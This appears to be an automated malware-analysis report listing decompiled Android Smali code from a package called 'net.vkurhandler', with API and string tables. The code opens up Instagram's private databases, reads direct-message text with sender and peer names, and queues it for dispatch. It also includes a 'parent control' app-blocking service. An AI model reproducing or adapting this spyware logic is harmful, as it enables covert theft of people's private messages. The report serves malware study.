                    1const/4 v10, 0x0
                    2try_start_2:
                    3const-string v2, "/data/data/com.instagram.android/databases/*"
                    5const-string v4, "0777"
                    6const/4 v5, 0x1
                    8invoke-static {v2, v4, v5}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Z)V
                    10const-string v2, "/data/data/com.instagram.android/databases/"
                    12const-string v4, "0777"
                    13const/4 v5, 0x1
                    15invoke-static {v2, v4, v5}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Z)V
                    17const-string v2, "/data/data/com.instagram.android/databases/direct.db"
                    19const-string v4, "0777"
                    20const/4 v5, 0x1
                    22invoke-static {v2, v4, v5}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Z)V
                    24const-string v2, "/data/data/com.instagram.android/databases/direct.db"
                    25const/4 v4, 0x0
                    26const/16 v5, 0x11
                    28invoke-static {v2, v4, v5}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
                    29try_end_22: move-result-object v2
                    30try_start_23: move-object/from16 v0, p0
                    32invoke-direct {v0, v2}, Lnet/vkurhandler/di;->a(Landroid/database/sqlite/SQLiteDatabase;)J
                    33move-result-wide v12
                    34move-object/from16 v0, p0
                    36iget-object v3, v0, Lnet/vkurhandler/di;->g:Landroid/content/SharedPreferences;
                    38const-string v4, "last_inst_update_date"
                    39const-wide/16 v6, 0x0
                    41invoke-interface {v3, v4, v6, v7}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
                    42move-result-wide v4
                    43move-object/from16 v0, p0
                    44iput-wide v4, v0, Lnet/vkurhandler/di;->m:J
                    45move-object/from16 v0, p0
                    46iget-wide v4, v0, Lnet/vkurhandler/di;->m:J
                    47cmp-long v3, v12, v4
                    48if-lez v3, :cond_95
                    49const/4 v3, 0x1
                    50goto_42: if-eqz v3, :cond_213
                    52const-string v3, "messages"
                    54sget-object v4, Lnet/vkurhandler/di;->k:[Ljava/lang/String;
                    55new-instance v5, Ljava/lang/StringBuilder;
                    57const-string v6, "message_type=\'text\' AND timestamp > "
                    59invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    60move-object/from16 v0, p0
                    61iget-wide v6, v0, Lnet/vkurhandler/di;->m:J
                    63invoke-virtual {v5, v6, v7}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    64move-result-object v5
                    66invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    67move-result-object v5
                    68const/4 v6, 0x0
                    69const/4 v7, 0x0
                    70const/4 v8, 0x0
                    71const/4 v9, 0x0
                    73invoke-virtual/range {v2 .. v9}, Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                    74try_end_62: move-result-object v4
                    75const/4 v3, 0x0
                    76try_start_64:
                    77invoke-interface {v4}, Landroid/database/Cursor;->moveToNext()Z
                    78move-result v5
                    79if-nez v5, :cond_97
                    80if-eqz v3, :cond_84
                    81move-object/from16 v0, p0
                    83iget-object v3, v0, Lnet/vkurhandler/di;->g:Landroid/content/SharedPreferences;
                    85invoke-interface {v3}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    86move-result-object v3
                    88const-string v5, "last_inst_update_date"
                    90invoke-interface {v3, v5, v12, v13}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
                    91move-result-object v3
                    93invoke-interface {v3}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    94move-object/from16 v0, p0
                    96iget-object v3, v0, Lnet/vkurhandler/di;->d:Landroid/content/Context;
                    98invoke-static {v3}, Lnet/vkurhandler/DispatchService;->a(Landroid/content/Context;)V
                    99goto_84: if-eqz v4, :cond_89
                    100try_start_86:
                    101invoke-interface {v4}, Landroid/database/Cursor;->close()V
                    102cond_89: if-eqz v2, :cond_94
                    104invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    105move-result v3
                    106if-eqz v3, :cond_94
                    108invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    109cond_94: return-void
                    110cond_95: const/4 v3, 0x0
                    111goto/16 :goto_42
                    112cond_97: const/4 v3, 0x0
                    113try_start_98:
                    114invoke-interface {v4, v3}, Landroid/database/Cursor;->getInt(I)I
                    115move-result v8
                    116const/4 v3, 0x2
                    118invoke-interface {v4, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    119move-result-object v9
                    120const/4 v3, 0x1
                    122invoke-interface {v4, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    123move-result-object v10
                    124const/4 v3, 0x3
                    126invoke-interface {v4, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    127const/4 v7, 0x0
                    128const/4 v3, 0x7
                    130invoke-interface {v4, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    131move-result-object v3
                    132const/4 v5, 0x4
                    134invoke-interface {v4, v5}, Landroid/database/Cursor;->getLong(I)J
                    135move-result-wide v14
                    136const/4 v5, 0x6
                    138invoke-interface {v4, v5}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    139move-result-object v6
                    140new-instance v11, Lorg/json/JSONObject;
                    142invoke-direct {v11, v3}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    144const-string v5, "unknown#1"
                    146const-string v16, "unknown#2"
                    148const-string v3, ""
                    149if-eqz v11, :cond_f0
                    150if-nez v6, :cond_cf
                    152const-string v6, "text"
                    154invoke-virtual {v11, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    155try_end_ce: move-result-object v6
                    156cond_cf:
                    157const-string v17, "user"
                    158move-object/from16 v0, v17
                    160invoke-virtual {v11, v0}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                    161move-result-object v17
                    162if-eqz v17, :cond_f0
                    164const-string v5, "username"
                    165move-object/from16 v0, v17
                    167invoke-virtual {v0, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    168move-result-object v5
                    170const-string v18, "id"
                    172invoke-virtual/range {v17 .. v18}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    173move-result-object v17
                    174move-object/from16 v0, v17
                    176invoke-virtual {v10, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    177try_end_ec: move-result v10
                    178if-eqz v10, :cond_f0
                    179const/4 v7, 0x1
                    180cond_f0:
                    181invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    182move-result v10
                    183if-eqz v10, :cond_12f
                    185const-string v10, "RTInstagram"
                    187const-string v11, "%s,%s,%d,%s,%b,%s,%d"
                    188const/16 v17, 0x7
                    189move/from16 v0, v17
                    190new-array v0, v0, [Ljava/lang/Object;
                    191move-object/from16 v17, v0
                    192const/16 v18, 0x0
                    193aput-object v5, v17, v18
                    194const/16 v18, 0x1
                    195aput-object v16, v17, v18
                    196const/16 v18, 0x2
                    198invoke-static {v8}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    199move-result-object v8
                    200aput-object v8, v17, v18
                    201const/4 v8, 0x3
                    202aput-object v9, v17, v8
                    203const/4 v8, 0x4
                    205invoke-static {v7}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                    206move-result-object v18
                    207aput-object v18, v17, v8
                    208const/4 v8, 0x5
                    209aput-object v6, v17, v8
                    210const/4 v8, 0x6
                    212invoke-static {v14, v15}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
                    213move-result-object v18
                    214aput-object v18, v17, v8
                    215move-object/from16 v0, v17
                    217invoke-static {v11, v0}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    218move-result-object v8
                    220invoke-static {v10, v8}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    221cond_12f: const/4 v8, 0x1
                    222move-object/from16 v0, p0
                    223move-object/from16 v1, v16
                    225invoke-virtual {v0, v6, v5, v1}, Lnet/vkurhandler/di;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Z
                    226move-result v10
                    227if-eqz v10, :cond_184
                    229invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    230move-result-object v10
                    232const-string v11, "type"
                    233const/16 v17, 0x1
                    234move/from16 v0, v17
                    236invoke-virtual {v10, v11, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    238const-string v11, "sub_type"
                    239const/16 v17, 0x16
                    240move/from16 v0, v17
                    242invoke-virtual {v10, v11, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    244const-string v11, "date"
                    245const/16 v17, 0x1
                    246const-wide/16 v18, 0x3e8
                    247div-long v14, v14, v18
                    248move/from16 v0, v17
                    250invoke-static {v0, v14, v15}, Lnet/vkurhandler/gn;->a(ZJ)Ljava/lang/String;
                    251move-result-object v14
                    253invoke-virtual {v10, v11, v14}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    255const-string v11, "message"
                    257invoke-virtual {v10, v11, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    259const-string v6, "sender"
                    261invoke-virtual {v10, v6, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    263const-string v5, "peer"
                    264move-object/from16 v0, v16
                    266invoke-virtual {v10, v5, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    268const-string v5, "is_out"
                    270invoke-virtual {v10, v5, v7}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Z)V
                    272const-string v5, "dialog_id"
                    274invoke-virtual {v10, v5, v9}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    276const-string v5, "group_name"
                    278invoke-virtual {v10, v5, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    280invoke-static {v10}, Lnet/vkurhandler/bf;->a(Lnet/vkurhandler/be;)V
                    281cond_184: move v3, v8
                    282goto/16 :goto_64
                    283catch_187: move-exception v3
                    285const-string v3, "user_id"
                    287invoke-virtual {v11, v3}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    288move-result-object v3
                    290invoke-virtual {v3, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    291move-result v7
                    292move-object/from16 v0, p0
                    294invoke-direct {v0, v9}, Lnet/vkurhandler/di;->b(Ljava/lang/String;)Ljava/lang/String;
                    295move-result-object v5
                    296move-object/from16 v0, p0
                    298invoke-direct {v0, v5}, Lnet/vkurhandler/di;->a(Ljava/lang/String;)Ljava/lang/String;
                    299move-result-object v3
                    301const-string v10, "user_id"
                    303invoke-virtual {v11, v10}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    304move-result-object v10
                    305move-object/from16 v0, p0
                    307invoke-direct {v0, v5, v10}, Lnet/vkurhandler/di;->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    308try_end_1a9: move-result-object v5
                    309goto/16 :goto_f0
                    310catch_1ac: move-exception v2
                    311move-object v4, v3
                    312move-object v3, v10
                    313try_start_1af:
                    314const-string v5, "RTInstagram"
                    316invoke-static {v5, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    317try_end_1b4: if-eqz v3, :cond_1b9
                    318try_start_1b6:
                    319invoke-interface {v3}, Landroid/database/Cursor;->close()V
                    320cond_1b9: if-eqz v4, :cond_94
                    322invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    323move-result v2
                    324if-eqz v2, :cond_94
                    326invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    327try_end_1c4: goto/16 :goto_94
                    328catch_1c6: move-exception v2
                    330const-string v3, "RTInstagram"
                    332invoke-static {v3, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    333goto/16 :goto_94
                    334catchall_1ce: move-exception v2
                    335move-object v4, v10
                    336goto_1d0: if-eqz v4, :cond_1d5
                    337try_start_1d2:
                    338invoke-interface {v4}, Landroid/database/Cursor;->close()V
                    339cond_1d5: if-eqz v3, :cond_1e0
                    341invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    342move-result v4
                    343if-eqz v4, :cond_1e0
                    345invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    346cond_1e0: throw v2
                    347catch_1e1: move-exception v3
                    349const-string v4, "RTInstagram"
                    351invoke-static {v4, v3}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    352goto/16 :goto_1e0
                    353catch_1e8: move-exception v2
                    355const-string v3, "RTInstagram"
                    357invoke-static {v3, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    358goto/16 :goto_94
                    359catchall_1f0: move-exception v3
                    360move-object v4, v10
                    361move-object/from16 v20, v3
                    362move-object v3, v2
                    363move-object/from16 v2, v20
                    364goto/16 :goto_1d0
                    365catchall_1f8: move-exception v3
                    366move-object/from16 v20, v3
                    367move-object v3, v2
                    368move-object/from16 v2, v20
                    369goto/16 :goto_1d0
                    370catchall_1ff: move-exception v2
                    371move-object/from16 v20, v3
                    372move-object v3, v4
                    373move-object/from16 v4, v20
                    374goto/16 :goto_1d0
                    375catch_206: move-exception v3
                    376move-object v4, v2
                    377move-object v2, v3
                    378move-object v3, v10
                    379goto/16 :goto_1af
                    380catch_20b: move-exception v3
                    381move-object/from16 v20, v3
                    382move-object v3, v4
                    383move-object v4, v2
                    384move-object/from16 v2, v20
                    385goto/16 :goto_1af
                    386cond_213: move-object v4, v10
                    387goto/16 :goto_84
                    APIs
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.t
                    • android.content.SharedPreferences.getInt
                    • android.content.SharedPreferences.getString
                    • android.text.TextUtils.isEmpty
                    • org.json.JSONObject.<init>
                    • java.util.HashSet.<init>
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.getJSONArray
                    • org.json.JSONArray.length
                    • org.json.JSONArray.getJSONObject
                    • org.json.JSONObject.getString
                    • java.util.HashSet.add
                    • java.util.HashSet.<init>
                    • org.json.JSONObject.getString
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.sql.Timestamp.valueOf
                    • java.sql.Timestamp.getTime
                    • org.json.JSONObject.getString
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.sql.Timestamp.valueOf
                    • java.sql.Timestamp.getTime
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.getJSONArray
                    • org.json.JSONArray.length
                    • org.json.JSONArray.getJSONObject
                    • org.json.JSONObject.getString
                    • java.util.HashSet.add
                    • java.lang.String.valueOf
                    • org.json.JSONObject.getJSONObject
                    • org.json.JSONObject.getBoolean
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.getJSONArray
                    • org.json.JSONArray.length
                    • org.json.JSONArray.getJSONObject
                    • org.json.JSONObject.getString
                    • java.util.HashSet.add
                    Strings
                    • BlockAppService
                    • start
                    • parent_control_block_app_mode
                    • mode is none
                    • parent_control_block_app_when
                    • when is empty
                    • when:
                    • hour_begin
                    • minute_begin
                    • hour_end
                    • minute_end
                    • type
                    • apps
                    • pkg_name
                    • datetime_begin
                    • :00
                    • datetime_end
                    • enabled
                    Position Instruction Meta Information
                    0const/4 v7, 0x2
                    1const/4 v0, 0x1
                    2const/4 v1, 0x0
                    4invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    5move-result v2
                    6if-eqz v2, :cond_10
                    8const-string v2, "BlockAppService"
                    10const-string v3, "start"
                    12invoke-static {v2, v3}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    13cond_10: iput-boolean v0, p0, Lnet/vkurhandler/ci;->b:Z
                    14try_start_12:
                    15iget-object v2, p0, Lnet/vkurhandler/ci;->d:Landroid/content/Context;
                    17invoke-static {v2}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    18move-result-object v2
                    20invoke-virtual {v2}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    21move-result-object v2
                    23const-string v3, "parent_control_block_app_mode"
                    24const/4 v4, 0x0
                    26invoke-interface {v2, v3, v4}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    27move-result v3
                    28iput v3, p0, Lnet/vkurhandler/ci;->j:I
                    29iget v3, p0, Lnet/vkurhandler/ci;->j:I
                    30if-nez v3, :cond_37
                    32invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    33move-result v0
                    34if-eqz v0, :cond_36
                    36const-string v0, "BlockAppService"
                    38const-string v1, "mode is none"
                    40invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    41goto_36: return-void
                    42cond_37:
                    43const-string v3, "parent_control_block_app_when"
                    44const/4 v4, 0x0
                    46invoke-interface {v2, v3, v4}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    47move-result-object v2
                    49invoke-static {v2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    50move-result v3
                    51if-eqz v3, :cond_59
                    53invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    54move-result v0
                    55if-eqz v0, :cond_36
                    57const-string v0, "BlockAppService"
                    59const-string v1, "when is empty"
                    61invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    62try_end_51: goto/16 :goto_36
                    63catch_52: move-exception v0
                    65const-string v1, "BlockAppService"
                    67invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    68goto/16 :goto_36
                    69cond_59:
                    70invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    71move-result v3
                    72if-eqz v3, :cond_6f
                    74const-string v3, "BlockAppService"
                    75const/4 v4, 0x2
                    76new-array v4, v4, [Ljava/lang/String;
                    77const/4 v5, 0x0
                    79const-string v6, "when:"
                    80aput-object v6, v4, v5
                    81const/4 v5, 0x1
                    82aput-object v2, v4, v5
                    84invoke-static {v3, v4}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    85cond_6f: new-instance v3, Lorg/json/JSONObject;
                    87invoke-direct {v3, v2}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    88iget v2, p0, Lnet/vkurhandler/ci;->j:I
                    89if-ne v2, v0, :cond_dc
                    90new-instance v0, Ljava/util/HashSet;
                    92invoke-direct {v0}, Ljava/util/HashSet;-><init>()V
                    93iput-object v0, p0, Lnet/vkurhandler/ci;->e:Ljava/util/HashSet;
                    95const-string v0, "hour_begin"
                    97invoke-virtual {v3, v0}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    98move-result v0
                    100const-string v2, "minute_begin"
                    102invoke-virtual {v3, v2}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    103move-result v2
                    105const-string v4, "hour_end"
                    107invoke-virtual {v3, v4}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    108move-result v4
                    110const-string v5, "minute_end"
                    112invoke-virtual {v3, v5}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    113move-result v5
                    114mul-int/lit8 v0, v0, 0x3c
                    115add-int/2addr v0, v2
                    116iput v0, p0, Lnet/vkurhandler/ci;->h:I
                    117mul-int/lit8 v0, v4, 0x3c
                    118add-int/2addr v0, v5
                    119iput v0, p0, Lnet/vkurhandler/ci;->i:I
                    121const-string v0, "type"
                    123invoke-virtual {v3, v0}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    124move-result v0
                    125iput v0, p0, Lnet/vkurhandler/ci;->k:I
                    127const-string v0, "apps"
                    129invoke-virtual {v3, v0}, Lorg/json/JSONObject;->getJSONArray(Ljava/lang/String;)Lorg/json/JSONArray;
                    130move-result-object v0
                    131goto_af:
                    132invoke-virtual {v0}, Lorg/json/JSONArray;->length()I
                    133try_end_b2: move-result v2
                    134if-lt v1, v2, :cond_ca
                    135cond_b5: iget-boolean v0, p0, Lnet/vkurhandler/ci;->b:Z
                    136if-eqz v0, :cond_36
                    138invoke-direct {p0}, Lnet/vkurhandler/ci;->b()Z
                    139move-result v0
                    140if-eqz v0, :cond_c4
                    142iget-object v0, p0, Lnet/vkurhandler/ci;->d:Landroid/content/Context;
                    144invoke-static {v0}, Lnet/vkurhandler/gn;->s(Landroid/content/Context;)V
                    145cond_c4: const-wide/16 v0, 0x3e8
                    147invoke-static {v0, v1}, Lnet/vkurhandler/gn;->a(J)V
                    148goto/16 :goto_b5
                    149cond_ca:
                    150iget-object v2, p0, Lnet/vkurhandler/ci;->e:Ljava/util/HashSet;
                    152invoke-virtual {v0, v1}, Lorg/json/JSONArray;->getJSONObject(I)Lorg/json/JSONObject;
                    153move-result-object v3
                    155const-string v4, "pkg_name"
                    157invoke-virtual {v3, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    158move-result-object v3
                    160invoke-virtual {v2, v3}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z
                    161add-int/lit8 v1, v1, 0x1
                    162goto/16 :goto_af
                    163cond_dc: iget v2, p0, Lnet/vkurhandler/ci;->j:I
                    164if-ne v2, v7, :cond_153
                    165new-instance v0, Ljava/util/HashSet;
                    167invoke-direct {v0}, Ljava/util/HashSet;-><init>()V
                    168iput-object v0, p0, Lnet/vkurhandler/ci;->e:Ljava/util/HashSet;
                    169new-instance v0, Ljava/lang/StringBuilder;
                    171const-string v2, "datetime_begin"
                    173invoke-virtual {v3, v2}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    174move-result-object v2
                    176invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    177move-result-object v2
                    179invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    181const-string v2, ":00"
                    183invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    184move-result-object v0
                    186invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    187move-result-object v0
                    189invoke-static {v0}, Ljava/sql/Timestamp;->valueOf(Ljava/lang/String;)Ljava/sql/Timestamp;
                    190move-result-object v0
                    192invoke-virtual {v0}, Ljava/sql/Timestamp;->getTime()J
                    193move-result-wide v4
                    194iput-wide v4, p0, Lnet/vkurhandler/ci;->f:J
                    195new-instance v0, Ljava/lang/StringBuilder;
                    197const-string v2, "datetime_end"
                    199invoke-virtual {v3, v2}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    200move-result-object v2
                    202invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    203move-result-object v2
                    205invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    207const-string v2, ":00"
                    209invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    210move-result-object v0
                    212invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    213move-result-object v0
                    215invoke-static {v0}, Ljava/sql/Timestamp;->valueOf(Ljava/lang/String;)Ljava/sql/Timestamp;
                    216move-result-object v0
                    218invoke-virtual {v0}, Ljava/sql/Timestamp;->getTime()J
                    219move-result-wide v4
                    220iput-wide v4, p0, Lnet/vkurhandler/ci;->g:J
                    222const-string v0, "type"
                    224invoke-virtual {v3, v0}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    225move-result v0
                    226iput v0, p0, Lnet/vkurhandler/ci;->k:I
                    228const-string v0, "apps"
                    230invoke-virtual {v3, v0}, Lorg/json/JSONObject;->getJSONArray(Ljava/lang/String;)Lorg/json/JSONArray;
                    231move-result-object v0
                    232goto_13b:
                    233invoke-virtual {v0}, Lorg/json/JSONArray;->length()I
                    234move-result v2
                    235if-ge v1, v2, :cond_b5
                    237iget-object v2, p0, Lnet/vkurhandler/ci;->e:Ljava/util/HashSet;
                    239invoke-virtual {v0, v1}, Lorg/json/JSONArray;->getJSONObject(I)Lorg/json/JSONObject;
                    240move-result-object v3
                    242const-string v4, "pkg_name"
                    244invoke-virtual {v3, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    245move-result-object v3
                    247invoke-virtual {v2, v3}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z
                    248add-int/lit8 v1, v1, 0x1
                    249goto/16 :goto_13b
                    250cond_153: iget v2, p0, Lnet/vkurhandler/ci;->j:I
                    251const/4 v4, 0x3
                    252if-ne v2, v4, :cond_b5
                    253move v2, v0
                    254goto_159: const/4 v0, 0x7
                    255if-gt v2, v0, :cond_b5
                    257invoke-static {v2}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
                    258move-result-object v0
                    260invoke-virtual {v3, v0}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                    261move-result-object v0
                    263const-string v4, "enabled"
                    265invoke-virtual {v0, v4}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
                    266move-result v4
                    267if-nez v4, :cond_170
                    268cond_16c: add-int/lit8 v0, v2, 0x1
                    269move v2, v0
                    270goto/16 :goto_159
                    271cond_170:
                    272iget-object v4, p0, Lnet/vkurhandler/ci;->l:[Lnet/vkurhandler/cj;
                    273new-instance v5, Lnet/vkurhandler/cj;
                    275invoke-direct {v5}, Lnet/vkurhandler/cj;-><init>()V
                    276aput-object v5, v4, v2
                    278const-string v4, "hour_begin"
                    280invoke-virtual {v0, v4}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    281move-result v4
                    283const-string v5, "minute_begin"
                    285invoke-virtual {v0, v5}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    286move-result v5
                    288const-string v6, "hour_end"
                    290invoke-virtual {v0, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    291move-result v6
                    293const-string v7, "minute_end"
                    295invoke-virtual {v0, v7}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    296move-result v7
                    298iget-object v8, p0, Lnet/vkurhandler/ci;->l:[Lnet/vkurhandler/cj;
                    299aget-object v8, v8, v2
                    301const-string v9, "type"
                    303invoke-virtual {v0, v9}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    304move-result v9
                    305iput v9, v8, Lnet/vkurhandler/cj;->c:I
                    307iget-object v8, p0, Lnet/vkurhandler/ci;->l:[Lnet/vkurhandler/cj;
                    308aget-object v8, v8, v2
                    309mul-int/lit8 v4, v4, 0x3c
                    310add-int/2addr v4, v5
                    311iput v4, v8, Lnet/vkurhandler/cj;->a:I
                    313iget-object v4, p0, Lnet/vkurhandler/ci;->l:[Lnet/vkurhandler/cj;
                    314aget-object v4, v4, v2
                    315mul-int/lit8 v5, v6, 0x3c
                    316add-int/2addr v5, v7
                    317iput v5, v4, Lnet/vkurhandler/cj;->b:I
                    319const-string v4, "apps"
                    321invoke-virtual {v0, v4}, Lorg/json/JSONObject;->getJSONArray(Ljava/lang/String;)Lorg/json/JSONArray;
                    322move-result-object v4
                    323move v0, v1
                    324goto_1b6:
                    325invoke-virtual {v4}, Lorg/json/JSONArray;->length()I
                    326move-result v5
                    327if-ge v0, v5, :cond_16c
                    329iget-object v5, p0, Lnet/vkurhandler/ci;->l:[Lnet/vkurhandler/cj;
                    330aget-object v5, v5, v2
                    332iget-object v5, v5, Lnet/vkurhandler/cj;->d:Ljava/util/HashSet;
                    334invoke-virtual {v4, v0}, Lorg/json/JSONArray;->getJSONObject(I)Lorg/json/JSONObject;
                    335move-result-object v6
                    337const-string v7, "pkg_name"
                    339invoke-virtual {v6, v7}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    340move-result-object v6
                    342invoke-virtual {v5, v6}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z
                    343try_end_1cf: add-int/lit8 v0, v0, 0x1
                    344goto/16 :goto_1b6
                    Cross References
                    APIs
                    • java.lang.Boolean.valueOf
                    • java.lang.Object.getClass
                    • java.lang.Class.getName
                    • java.lang.Class.forName
                    • java.lang.Class.getDeclaredMethod
                    • java.lang.reflect.Method.setAccessible
                    • java.lang.reflect.Method.invoke
                    • java.lang.Object.getClass
                    • java.lang.Class.getName
                    • java.lang.Class.forName
